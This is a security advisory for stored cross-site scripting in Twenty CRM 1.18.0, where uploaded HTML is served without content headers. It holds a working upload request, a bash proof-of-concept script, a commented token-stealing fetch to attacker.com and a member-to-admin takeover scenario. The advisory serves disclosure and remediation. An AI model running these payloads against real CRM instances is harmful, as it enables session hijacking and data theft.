Skip to content

Stored Cross-Site Scripting via Unsanitized File Serving (Missing Content-Type/Content-Disposition Headers)

High
FelixMalfait published GHSA-f5h2-3qw5-3qp7 May 5, 2026

Package

twenty

Affected versions

1.18.0

Patched versions

1.19.0

Description

Summary

The file serving endpoints in Twenty CRM through 1.18.0 at /files/* and /file/:fileFolder/:id serve uploaded files using fileStream.pipe(res) without setting any Content-Type, Content-Disposition, or X-Content-Type-Options response headers. This allows an authenticated attacker to upload an HTML file containing JavaScript, which will be rendered by the victim's browser in the context of the Twenty CRM domain when accessed — enabling session hijacking, account takeover, and data theft.

Vulnerable Code

File 1: packages/twenty-server/src/engine/core-modules/file/controllers/file.controller.ts (line 54)

@Get('*path')
@UseGuards(FilePathGuard, NoPermissionGuard)
async getFile(@Res() res: Response, @Req() req: Request) {
  const fileStream = await this.fileService.getFileStream(rawFolder, filename, workspaceId);
  fileStream.pipe(res);  // NO Content-Type header, NO Content-Disposition
}

File 2: packages/twenty-server/src/engine/core-modules/file/controllers/file-by-id.controller.ts (line 60)

@Get(':fileFolder/:id')
@UseGuards(FileByIdGuard, NoPermissionGuard)
async getFileById(@Res() res: Response, @Req() req: Request, ...) {
  const fileStream = await this.fileService.getFileStreamById({fileId, workspaceId, fileFolder});
  fileStream.pipe(res);  // NO Content-Type header, NO Content-Disposition
}

File sanitization only covers SVG files:
packages/twenty-server/src/engine/core-modules/file/utils/sanitize-file.utils.ts

export const sanitizeFile = ({file, ext, mimeType}) => {
  if (ext === 'svg' || mimeType === 'image/svg+xml') {
    // Only SVGs are sanitized with DOMPurify
    return purify.sanitize(fileString);
  }
  return file;  // HTML, XML, and all other files pass through unchanged
};

Permission model — Member role can upload:
packages/twenty-server/src/engine/core-modules/file/file-workflow/resolvers/file-workflow.resolver.ts (line 28)

@UseGuards(SettingsPermissionGuard(PermissionFlagType.UPLOAD_FILE))  // Tool permission

The UPLOAD_FILE flag is a "tool permission," and the default Member role has canAccessAllTools: true.

Root Cause

Both file serving controllers call fileStream.pipe(res) without setting any HTTP response headers. Express.js does not automatically set Content-Type when piping a stream to the response. Combined with no file type validation on the uploadWorkflowFile mutation, this allows arbitrary HTML to be stored and served inline from the application origin.

Steps to Reproduce

Test Environment Access

Field Value
Application URL http://localhost:3000
Admin account poc@example.com / PoCPass123!
Attacker (Member) account member@example.com / MemberPass123!
Workspace ID dc264126-cc14-4483-972f-7c1468a37394

Step 1: Log in as the attacker (Member-role user)

  1. Open a browser with Burp Suite proxy configured
  2. Navigate to http://localhost:3000 and log in with member@example.com / MemberPass123!
  3. In Burp Suite Proxy > HTTP History, find a POST /metadata request containing an Authorization: Bearer <token> header
  4. Copy the Bearer token value — this is the Member's access token

Step 2: Upload an HTML payload via Burp Repeater (as Member)

  1. In Burp Suite, go to the Repeater tab
  2. Set target to localhost:3000
  3. Paste the following request (replace <MEMBER_ACCESS_TOKEN> with the Bearer token from Step 1):
POST /metadata HTTP/1.1
Host: localhost:3000
Authorization: Bearer <MEMBER_ACCESS_TOKEN>
Content-Type: multipart/form-data; boundary=----XSSPoC

------XSSPoC
Content-Disposition: form-data; name="operations"

{"query":"mutation($file: Upload!) { uploadWorkflowFile(file: $file) { id path size url } }","variables":{"file":null}}
------XSSPoC
Content-Disposition: form-data; name="map"

{"0":["variables.file"]}
------XSSPoC
Content-Disposition: form-data; name="0"; filename="poc.html"
Content-Type: image/png

<html><body>
<h1>Stored XSS PoC</h1>
<script>
document.write("<p>XSS on domain: <b>" + document.domain + "</b></p>");
document.write("<p>Cookie: " + document.cookie + "</p>");
document.write("<p>LocalStorage keys: " + Object.keys(localStorage).join(", ") + "</p>");
// Real attack: fetch('https://attacker.com/steal?token=' + localStorage.getItem('TOKEN'))
</script>
</body></html>
------XSSPoC--
  1. Click Send

Confirmed Upload Response (from Member account)

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8

{"data":{"uploadWorkflowFile":{"id":"34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4","path":"workflow/34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4.html","size":120,"url":"http://localhost:3000/file/workflow/34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4?token=eyJ..."}}}

The server accepted the HTML file upload from a Member-role user without any file type validation.

Step 3: Access the uploaded file and verify missing headers

  1. Copy the url value from the upload response
  2. In Burp Repeater, send a new request:
GET /file/workflow/34b5e0d0-cdcb-4760-b7c0-1c3e1f567fc4?token=<FILE_JWT_TOKEN> HTTP/1.1
Host: localhost:3000
  1. Click Send

Confirmed Response (Burp Repeater)

Response headers:

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Date: Sat, 14 Mar 2026 12:04:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Response body:

<html><body><h1>Member XSS PoC</h1><script>document.write("XSS by MEMBER on: " + document.domain)</script></body></html>

Critical observation — Missing security headers:

  • No Content-Type header — the browser MIME-sniffs the body and detects text/html
  • No Content-Disposition: attachment — the file renders inline instead of downloading
  • No X-Content-Type-Options: nosniff — MIME sniffing is not disabled

Step 4: Confirm XSS in browser

  1. Copy the full file URL from the upload response (Step 2)
  2. Paste it into the browser address bar (same browser where you're logged into Twenty CRM as any user, including admin)
  3. The page renders the HTML and the JavaScript executes:
    • Shows "XSS by MEMBER on: localhost" (confirming same-origin execution)
    • Shows the cookies and localStorage keys (confirming session access)

Attack Scenario: Member-to-Admin Privilege Escalation

  1. Attacker (a Member-role CRM user) uploads an HTML file with a token-stealing payload using the uploadWorkflowFile mutation
  2. Attacker extracts the file URL from the response and sends it to an admin (e.g., in a CRM note, email, or message: "Can you review this report? http://your-crm.com/file/workflow/abc123?token=xyz")
  3. Admin clicks the link — browser renders the HTML on the CRM origin — JavaScript executes in the admin's session
  4. The payload steals the admin's JWT access token and refresh token, sending them to attacker.com
  5. Attacker uses the stolen admin tokens to make API calls with full admin privileges — accessing all workspace settings, user management, and CRM data

Alternative: Automated Repro Script

#!/bin/bash
# Twenty CRM - Stored XSS via File Upload PoC (Member -> Admin escalation)
# Author: @thesanjok
# Requires: curl, python3

SERVER="http://localhost:3000"

# Step 1: Authenticate as MEMBER (not admin!)
echo "[*] Authenticating as member@example.com (Member role)..."
LOGIN_TOKEN=$(python3 -c "
import json, urllib.request
data = json.dumps({'query': 'mutation { getLoginTokenFromCredentials(email: \"member@example.com\", password: \"MemberPass123!\", origin: \"$SERVER\") { loginToken { token } } }'}).encode()
req = urllib.request.Request('$SERVER/metadata', data=data, headers={'Content-Type': 'application/json'})
print(json.loads(urllib.request.urlopen(req).read())['data']['getLoginTokenFromCredentials']['loginToken']['token'])
")

AT=$(python3 -c "
import json, urllib.request
data = json.dumps({'query': 'mutation { getAuthTokensFromLoginToken(loginToken: \"$LOGIN_TOKEN\", origin: \"$SERVER\") { tokens { accessOrWorkspaceAgnosticToken { token } } } }'}).encode()
req = urllib.request.Request('$SERVER/metadata', data=data, headers={'Content-Type': 'application/json'})
print(json.loads(urllib.request.urlopen(req).read())['data']['getAuthTokensFromLoginToken']['tokens']['accessOrWorkspaceAgnosticToken']['token'])
")

echo "[+] Member access token obtained"

# Step 2: Create XSS payload
cat > /tmp/xss_poc.html << 'HTMLEOF'
<html><body>
<h1>Stored XSS PoC - Uploaded by Member</h1>
<script>
document.write("<p>XSS executed on domain: <b>" + document.domain + "</b></p>");
document.write("<p>Cookie: " + document.cookie + "</p>");
document.write("<p>LocalStorage: " + JSON.stringify(localStorage) + "</p>");
</script>
</body></html>
HTMLEOF

# Step 3: Upload HTML file as Member
echo "[+] Uploading HTML payload as Member..."
UPLOAD_RESULT=$(curl -s -X POST "$SERVER/metadata" \
  -H "Authorization: Bearer $AT" \
  -F 'operations={"query":"mutation($file: Upload!) { uploadWorkflowFile(file: $file) { id path size url } }","variables":{"file":null}}' \
  -F 'map={"0":["variables.file"]}' \
  -F '0=@/tmp/xss_poc.html;type=image/png;filename=poc.html')

FILE_URL=$(echo "$UPLOAD_RESULT" | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['uploadWorkflowFile']['url'])")
echo "[+] File URL (send this to victim): $FILE_URL"

# Step 4: Verify missing headers
echo ""
echo "=== RESPONSE HEADERS (note: NO Content-Type, NO Content-Disposition) ==="
curl -s -D - "$FILE_URL" -o /dev/null
echo ""

# Step 5: Show served content
echo "=== RESPONSE BODY (HTML+JS served verbatim from Member upload) ==="
curl -s "$FILE_URL"
echo ""
echo ""
echo "[+] Send the File URL to an admin user — when they open it, JS executes in their session"

POC for Local Instance:

Screenshot from 2026-03-14 17-43-57

PoC for Cloud instance:

I attempted to reproduce this on the cloud-hosted instance at https://lucky-beige-lion.twenty.com. The HTML file was successfully uploaded by a Member-role user via the uploadWorkflowFile mutation and served back with <script> tags fully intact — no sanitization or file type restriction.

However, the initial PoC did not trigger in the browser because the cloud instance sits behind Cloudflare, which injects X-Content-Type-Options: nosniff in the response. Since the application does not set a Content-Type header at all, the browser refuses to render the response as HTML when nosniff is present.

To confirm the underlying vulnerability, I stripped the X-Content-Type-Options: nosniff header from the response using Burp Suite (Match and Replace rule) and the XSS alert fired successfully — screenshot attached.

This confirms the application code is still vulnerable. The file.controller.ts still uses fileStream.pipe(res) without setting Content-Type, Content-Disposition, or X-Content-Type-Options headers. The nosniff protection on cloud is entirely from Cloudflare infrastructure and is not present in the application itself. Any self-hosted deployment (Docker, bare-metal, or behind a reverse proxy without this header) is fully exploitable in all browsers without any workaround.

POC Link:

https://api.twenty.com/file/workflow/2086cb72-53cd-4bd9-b893-61da243508f7?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ3b3Jrc3BhY2VJZCI6IjA3MDA5YTMxLWI4NmMtNDYxMS1hNmVkLTJkZjg5NGI3YTRiMyIsImZpbGVJZCI6IjIwODZjYjcyLTUzY2QtNGJkOS1iODkzLTYxZGEyNDM1MDhmNyIsInN1YiI6IjA3MDA5YTMxLWI4NmMtNDYxMS1hNmVkLTJkZjg5NGI3YTRiMyIsInR5cGUiOiJGSUxFIiwiaWF0IjoxNzczNTEwNDI4LCJleHAiOjE3NzM1OTY4Mjh9.3SW4Sz5VRn6gNeFXc3e6eI-dbhZLWMzz2HKQxPKwe1s

Screenshot from 2026-03-14 23-24-27

Impact

  1. Stored XSS on the main application domain: The uploaded HTML file is served from http://<twenty-instance>/file/... — the same origin as the CRM application. JavaScript in the file executes with full access to the user's session.
  2. Session hijacking: The attacker's script can access document.cookie, localStorage, and sessionStorage which contain JWT tokens and refresh tokens.
  3. Account takeover: With stolen tokens, the attacker can impersonate the victim and perform any action they can — including admin actions if the victim is an admin.
  4. Data exfiltration: The attacker's script can make authenticated API calls to extract all CRM data (contacts, companies, deals, etc.).
  5. Privilege escalation: A low-privilege Member can steal an Admin's session tokens and escalate to full admin access.

Additional Context

  • The uploadWorkflowFile mutation accepts ANY file type — HTML, SVG payloads will work since SVG sanitization only runs when ext === 'svg'; uploading as .html bypasses it
  • Some upload mutations like uploadWorkspaceMemberProfilePicture validate MIME type against file content, but uploadWorkflowFile does not
  • File tokens (?token=<JWT>) embedded in the URL are shareable — the token is scoped to workspace+file, NOT to the uploader's identity. Any user with the URL can access the file
  • The file token has a 24-hour expiry, giving the attacker a wide window for social engineering
  • The Access-Control-Allow-Origin: * header on the response further weakens any cross-origin protections
  • The attacker only needs the default Member role (canAccessAllTools: true) — no admin privileges required

Recommended Fix

  1. Set Content-Type based on the stored file's MIME type or extension.
  2. Set Content-Disposition: attachment; filename="..." for all non-image file types to force download instead of inline rendering.
  3. Set X-Content-Type-Options: nosniff globally to prevent MIME sniffing.
  4. Extend sanitization beyond SVGs to include HTML, XML, and other script-capable formats.
  5. Serve user-uploaded files from a separate domain (e.g., files.twenty.com) to isolate XSS from the main application.
  6. Add file type allowlisting to uploadWorkflowFile to reject HTML, XML, and other executable content types.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

CVE ID

CVE-2026-44729

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Credits